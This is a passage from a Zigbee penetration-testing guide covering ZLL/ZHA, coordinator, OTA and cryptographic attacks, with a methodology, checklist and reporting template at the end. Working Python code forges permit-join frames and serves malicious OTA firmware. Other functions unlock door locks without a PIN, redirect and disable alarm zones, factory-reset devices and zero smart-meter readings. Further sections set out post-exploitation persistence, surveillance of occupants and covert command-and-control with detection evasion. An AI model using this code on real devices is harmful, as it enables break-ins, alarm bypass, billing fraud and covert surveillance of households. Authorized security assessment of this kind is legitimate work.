# Force ON command (Cmd ID 0x01)
await cluster.on()
# Write attribute directly
await cluster.write_attributes(
{"on_off": False}
)
EOF
Rogue Router MITM Position
A physical pentest approach: introduce a rogue router device into the mesh network. Because Zigbee mesh routing is automatic, traffic may naturally route through your rogue router depending on signal strength and routing table state.
1
Join network as router (requires knowing network key or open join)
2
Place router physically between target end device and legitimate router
3
Advertise strong LQI to neighboring devices — traffic routes through you
4
Log all forwarded traffic; inject modified frames; delay/drop selectively
5
Since NWK key is shared, you can decrypt all passing traffic
// SECTION 24
ZLL / ZHA ATTACKS
Zigbee Light Link and Home Automation profile-specific exploits
ZLL (Zigbee Light Link) Specifics
ZLL Profile ID: 0xC05E. Uses Touchlink commissioning. Found in: Philips Hue, IKEA TRÅDFRI, OSRAM LIGHTIFY, GE Link, Sengled.
ZLL Master Key is publicly known (Zigbee Alliance published it). This means anyone can decrypt ZLL commissioning exchanges and perform factory resets.
ZLL Network Key: Can be stolen during ZLL commissioning — the joining device receives the network key encrypted with the ZLL master key. With the known master key, trivially decryptable.
ZHA (Zigbee Home Automation) Attack Vectors
ZHA Profile ID: 0x0104. Used by most smart home devices. Trust-center based with network-layer key security.
Common ZHA Vulnerabilities:
!
Default link key usage during join — key transport interception
!
No key rotation in most deployments
!
Open permit-join windows — anyone can join during setup
!
No authentication of ZDO commands from joined devices
!
ZCL commands accepted without application-level auth
// SECTION 25
COORDINATOR ATTACKS
The crown jewel — attacking the network root
Open Permit-Join Abuse
When coordinator permits join (for device pairing), ANY device can join within the permit duration. Abuse windows:
mosquitto_sub -t \
"zigbee2mqtt/bridge/event" -v
zbee_zdp.cluster == 0x0036
Coordinator Firmware Bugs
Known vulnerabilities in coordinator implementations:
CVE
Zigbee2MQTT MQTT injection via device names
CVE
TI Z-Stack buffer overflow in network manager
CVE
Silicon Labs EmberZNet heap overflow
CVE
CC2530 malformed NWK header crash
ZDO Mgmt_Permit_Join Injection
pkt = forge_zdp_frame(
cluster=0x0036, # Mgmt_Permit_Join_req
dst_addr=0x0000, # Coordinator
payload={
"duration": 255, # Max duration
"trust_center_significance": 1
}
)
sendp(pkt, iface="wpan0")
// SECTION 26
OTA UPDATE HIJACK
Malicious firmware injection via Zigbee OTA cluster
🔴 CRITICAL IMPACT: Successful OTA firmware injection results in complete device takeover. The device becomes fully attacker-controlled — persistent, stealthy, and capable of further pivoting.
OTA Cluster Attack Flow
1
Join network as OTA Upgrade Server (Cluster 0x0019, Server role)
2
Respond to Query Next Image Request from target device with a higher firmware version number
3
Device initiates Image Block Request — send malicious firmware blocks
4
Device downloads all blocks and signals Upgrade End Request
5
Device applies firmware and reboots — now running malicious code
Most consumer ZLL/ZHA devices do NOT verify firmware signatures. Smart Energy devices use code-signing but implementation quality varies.
OTA Server Implementation
import zigpy.ota as ota
from zigpy.zcl.clusters.general import Ota
class RogueOtaServer:
def __init__(self, malicious_fw_path):
self.fw = self.load_firmware(malicious_fw_path)
def load_firmware(self, path):
"""Load malicious OTA image"""
with open(path, 'rb') as f:
data = f.read()
return OtaImage(
manufacturer_id=0x0000, # Wildcard
image_type=0xFFFF, # Wildcard
file_version=0xFFFFFFFF, # Highest version
data=data
)
async def handle_query_next_image(self, req):
"""Always respond: yes, upgrade available"""
return QueryNextImageResponse(
status=0x00, # Success
manufacturer_id=req.manufacturer_id,
image_type=req.image_type,
file_version=0xFFFFFFFF,
image_size=len(self.fw.data)
)
async def handle_block_request(self, req):
"""Serve firmware block by block"""
offset = req.file_offset
length = req.max_data_size
block = self.fw.data[offset:offset+length]
return ImageBlockResponse(
status=0x00,
data=block,
file_offset=offset
)
// SECTION 27
EXPLOIT CHAINS
Chaining multiple vulnerabilities for maximum impact
Chain A: Physical Access → Full Network Compromise
JTAG dump of any one device → extract NWK key from flash → decrypt all historical traffic → join with extracted credentials → serve malicious OTA firmware → persistent backdoor on every device.
Chain B: Remote Touchlink → Network Takeover
Touchlink factory reset → steal device into attacker network → owner re-adds device (generates join) → sniff new key transport → decrypt entire network with extracted key.
Chain C: No Physical Access → ZCL Command Injection
// SECTION 28
FIRMWARE ANALYSIS
Reverse engineering Zigbee device firmware for vulnerabilities
Binwalk Analysis Pipeline
binwalk firmware.bin
binwalk -E firmware.bin
binwalk -e firmware.bin
strings -n 8 firmware.bin | grep -iE \
"key|pass|secret|zigbee|network|auth"
file firmware.bin
binwalk -A firmware.bin
Ghidra Zigbee Stack Analysis
NV Memory Layout — TI Z-Stack (CC2530)
#define ZCD_NV_EXTADDR 0x0001
#define ZCD_NV_NIB 0x0021
#define ZCD_NV_DEVICE_LIST 0x0022
#define ZCD_NV_ADDRMGR 0x0023
#define ZCD_NV_NWK_KEY 0x0082
#define ZCD_NV_APS_LINK_KEY_TABLE 0x0E01
#define ZCD_NV_TCLK_TABLE 0x0101
dd if=firmware_full.bin bs=1 skip=$((0xF800)) count=$((0x800)) | \
xxd | grep -A2 "0082"
// SECTION 29
ZCL CLUSTER ABUSE
Exploiting Zigbee Cluster Library commands for unauthorized control
Door Lock Cluster (0x0101) — Critical
async def exploit_door_lock(device):
cluster = device.endpoints[1].door_lock
# Unlock without PIN (Cmd 0x01)
result = await cluster.unlock_door("")
print(f"Unlock result: {result}")
# Try to read PIN table
try:
pins = await cluster.read_attributes([
'num_of_pin_users_supported',
'max_pin_code_length',
'min_pin_code_length',
])
print(f"PIN config: {pins}")
except Exception as e:
print(f"PIN read failed: {e}")
# Try GetPin command (Cmd 0x06)
# Many implementations return PINs in plaintext!
result = await cluster.get_pin(0) # User 0
print(f"PIN for user 0: {result}")
IAS Zone Cluster (0x0500) — Alarm Bypass
async def bypass_alarm_zone(device):
cluster = device.endpoints[1].ias_zone
# Write Zone State to 0 (unenrolled = inactive)
await cluster.write_attributes({
'zone_state': 0x00 # Not enrolled
})
# Or change CIE IEEE address to our device
# This redirects alarm notifications to us!
await cluster.write_attributes({
'ias_cie_address': OUR_IEEE_ADDR
})
# Zone Enroll Response — enroll with rogue CIE
await cluster.zone_enroll_response(
enroll_response_code=0x00, # Success
zone_id=0x00
)
print("Alarm zone now reports to us!")
Basic Cluster (0x0000) — Factory Reset
async def factory_reset_via_zcl(device):
cluster = device.endpoints[1].basic
# Send Reset to Factory Defaults command
await cluster.reset_fact_default()
print("Factory reset sent!")
# Also try writing specific attributes
# that trigger reset behavior on some devices
try:
await cluster.write_attributes({
'reset_fact_default': True
})
except:
pass
# Read manufacturer/model before reset
attrs = await cluster.read_attributes([
'manufacturer', 'model', 'sw_build_id'
])
print(f"Target: {attrs}")
Metering Cluster (0x0702) — Smart Energy Fraud
async def smart_meter_attack(device):
cluster = device.endpoints[1].metering
# Read current consumption
result = await cluster.read_attributes([
'current_summ_delivered', # Total energy
'current_summ_received', # Back-feed
'instantaneous_demand', # Live demand
'current_tier1_summ_delivered',
'daily_freeze_time',
])
# Try to write summation (fraud attempt)
try:
await cluster.write_attributes({
'current_summ_delivered': 0 # Reset to 0
})
print("CRITICAL: Meter reading reset!")
except PermissionError:
print("Write protected (expected)")
# Inject false demand response
await cluster.request_mirror()
// SECTION 30
POST EXPLOITATION
Persistence, pivoting, lateral movement, data exfiltration
Network Persistence
→
Add rogue router device that persists in the mesh
→
Inject binding entries to redirect device reports
→
Modify coordinator config to add backdoor join mechanism
→
OTA inject persistent backdoor firmware to end devices
→
Modify NV memory on compromised device to store keys
Data Exfiltration
→
Log all device state changes (presence detection, lock status)
→
Extract occupancy patterns from motion sensors
→
Read thermostats for presence-correlated data
→
Correlate power meter data with appliance usage patterns
→
Intercept door/window sensor events for physical surveillance
Cross-Protocol Pivoting
→
Compromised Zigbee coordinator often runs on home gateway — pivot to IP network
→
Zigbee2MQTT → MQTT broker → HA instance → full smart home control
→
HA instance → cloud API → remote access
→
Compromised bulb firmware → covert RF beacon for C2
→
Smart meter → AMI head-end → utility billing system
// SECTION 31
CRYPTOGRAPHIC ATTACKS
AES-CCM* weaknesses, nonce reuse, MIC forgery
Frame Counter Nonce Reuse
AES-128-CCM* uses a 13-byte nonce: Source IEEE (8B) + Frame Counter (4B) + Security Level (1B). If frame counter resets (power cycle, counter overflow), nonce reuse occurs — catastrophic for CCM mode.
python3 << 'EOF'
from collections import defaultdict
nonce_map = defaultdict(list)
for pkt in rdpcap("capture.pcap"):
if ZigbeeSecurityHeader in pkt:
sh = pkt[ZigbeeSecurityHeader]
nonce = (sh.source, sh.fc)
nonce_map[nonce].append(bytes(pkt))
for nonce, pkts in nonce_map.items():
if len(pkts) > 1:
print(f"NONCE REUSE DETECTED: {nonce}")
print(f" Packets: {len(pkts)}")
# XOR ciphertexts to cancel keystream
# plaintexts XOR each other = analyze both
xored = bytes(a^b for a,b in zip(pkts[0],pkts[1]))
print(f" XOR: {xored.hex()}")
EOF
AES-CCM* Keystream Recovery
With two frames using the same nonce (nonce reuse), XOR the ciphertexts to cancel keystream. Then use known-plaintext attacks (Zigbee headers are partially known/predictable) to recover keystream and decrypt both frames.
MIC (Message Integrity Code) Considerations
Zigbee uses 4-byte MIC by default (ENC-MIC-32). This provides 1-in-4-billion chance of a random frame passing MIC verification — adequate for most scenarios. However:
!
4-byte MIC forgery: ~2^32 attempts needed. Feasible for dedicated hardware (FPGA) against a constrained command space. If only 256 valid command payloads exist, MIC forgery may be feasible in hours.
!
MIC stripping: Some implementations (esp. older Zigbee 2004/2006) accept frames without proper MIC validation — check by sending frames with zeroed MIC.
!
CCM* with Security Level 0: No encryption, no MIC. Devices that accept unprotected frames alongside protected ones can be attacked by downgrading security level.
!
Security Level Downgrade: The security level field in the Security Header is authenticated by the MIC — but the MAC/NWK security control byte parsing bugs in some implementations allow level downgrade.
// SECTION 32
ZIGBEE 3.0 SPECIFICS
BDB commissioning, install codes, distributed security
Base Device Behavior (BDB) Attack Surface
Zigbee 3.0 introduced the Base Device Behavior specification — standardized commissioning. Attack surfaces:
!
Install Code Bypass: Install codes generate unique link keys per device. But many products still ship with default link key as fallback — try both during assessment.
!
BDB Touchlink: ZLL retained as optional commissioning method. Interoperable with ZHA. Same Touchlink attacks apply.
!
Distributed Security Network: No central Trust Center. Any router can approve joins. Increases attack surface significantly — no single point for key management.
!
Network Steering: Coordinator broadcasts permit-join; any device scanning can see and potentially join.
Install Code Extraction
python3 << 'EOF'
from Crypto.Cipher import AES
def ic_to_link_key(install_code_hex):
"""Convert install code to Zigbee 3.0 link key"""
ic = bytes.fromhex(install_code_hex)
# Verify CRC-16 (last 2 bytes)
# Hash using Matyas-Meyer-Oseas: AES-MMO
key = bytes(16) # initial key = 0
for i in range(0, len(ic), 16):
block = ic[i:i+16].ljust(16, b'\x00')
cipher = AES.new(key, AES.MODE_ECB)
encrypted = cipher.encrypt(block)
key = bytes(a^b for a,b in zip(encrypted, block))
return key
# Example: 83FED3407A939723A5C639B26916D505
ic = "83FED3407A939723A5C639B26916D505"
link_key = ic_to_link_key(ic)
print(f"Link Key: {link_key.hex()}")
EOF
// SECTION 34
COVERT CHANNELS
Using Zigbee as a C2 channel, hidden communication
Zigbee as C2 Channel
Compromised Zigbee devices (post OTA injection) can serve as a covert RF communication channel:
→
Use manufacturer-specific ZCL clusters (0xFF00–0xFFFF) to send arbitrary data
→
Encode C2 data in ZCL attribute values of innocuous clusters (e.g., encode in current_level of Level Control cluster)
→
Use timing covert channel: modulate transmission intervals to encode bits
→
Leverage Zigbee's mesh to route C2 traffic through multiple hops
Detection Evasion
→
Traffic blends with legitimate Zigbee traffic — hard to distinguish without decryption
→
Low duty cycle matches normal sensor behavior
→
Operates in 2.4 GHz ISM band — high noise floor, hard to isolate
→
Short-range (10–100m) limits detection radius
→
No IP traffic generated — bypasses network-level detection
// SECTION 35
PENTEST METHODOLOGY
Structured approach for professional Zigbee security assessments
Phase 1: Planning & Scoping
1
Obtain written authorization with specific scope (PAN IDs, device types, physical access permissions)
2
Document target environment: device types, vendor products, network topology if known
3
Identify regulatory constraints (FCC/ETSI compliance for jamming tests)
4
Set up isolated lab environment to verify tools without affecting production
5
Prepare hardware (CC2531/CC2652 flashed, KillerBee working, Wireshark keys configured)
6
Define success criteria and impact thresholds per device type
Phase 2–3: Reconnaissance
1
Energy scan all 16 channels — identify active channels
2
60-minute passive capture on top 3 active channels
3
Decode captures: enumerate PAN IDs, device count, security levels
4
Attempt default key decryption of captures
5
Active stumble (if authorized): zbstumbler to map PANs
6
ZDO discovery: enumerate endpoints, clusters, capabilities
7
Identify device vendors from IEEE OUI, manufacturer cluster data
8
Cross-reference firmware versions against known CVEs
// SECTION 36
MASTER CHECKLIST
Complete assessment checklist — print and use during engagements
Network Discovery
☐
Energy scan all 16 channels, document active channels
☐
Capture beacons — identify all PAN IDs and Extended PAN IDs
☐
Enumerate all device IEEE addresses and NWK short addresses
☐
Identify coordinator address (short addr 0x0000)
☐
Map device roles: coordinator, router, end device
☐
Enumerate all endpoints and clusters per device
☐
Read Basic cluster: manufacturer, model, firmware version
☐
Map neighbor/routing tables via ZDO Mgmt_Lqi_req
Security Configuration
☐
Verify NWK-layer encryption is enabled on all frames
☐
Check APS-layer encryption is used for sensitive clusters
☐
Test for frames with security level = 0 (no protection)
☐
Attempt decryption with all known default keys
☐
Check frame counter implementation — test non-persistent counter
☐
Verify install codes vs default link key usage
☐
Check if network key rotation is implemented
☐
Assess Touchlink commissioning — is it enabled?
Attack Surface
☐
Test for open permit-join windows
☐
Attempt network join during any observed permit-join window
☐
Test key transport sniffing during device join
☐
Test Touchlink factory reset (if ZLL devices present)
☐
Attempt unsecured rejoin
☐
Test ZCL command injection: On/Off, Door Lock, IAS Zone
☐
Test ZDO command injection: Permit Join, Remove Device
☐
Test replay attacks against actuator commands
☐
Attempt OTA server impersonation
☐
Test for DoS: association flood, beacon flood
Hardware Assessment
☐
Identify exposed debug interfaces (JTAG/SWD/UART)
☐
Attempt JTAG/SWD firmware extraction
☐
Search extracted firmware for hardcoded keys/credentials
☐
Check NV memory for key storage (known offsets)
☐
Analyze firmware for buffer overflows in NWK/APS handlers
☐
Check for stack canaries and ASLR in firmware
☐
Verify secure boot implementation (signature verification)
☐
Test physical tamper protection
// SECTION 37
REPORTING TEMPLATE
Severity ratings, finding template, executive and technical outputs
Critical (CVSS 9.0–10.0)
•
Network key exposed via default link key intercept
•
Physical access bypass via ZCL door lock exploit
•
Malicious OTA firmware injection successful
•
Full network takeover via coordinator compromise
•
Alarm suppression via IAS zone manipulation
High (CVSS 7.0–8.9)
•
Touchlink factory reset without physical proximity
•
Replay attack enables actuator control
•
Unsecured rejoin allows unauthorized network access
•
Network key extraction via JTAG/EEPROM
•
Open permit-join allows rogue device association
Medium/Low
•
No network key rotation implemented
•
Default link key not replaced with install codes
•
ZDO commands accepted without authentication
•
Device information disclosure via ZCL reads
•
Association flood vulnerability (protocol-level DoS)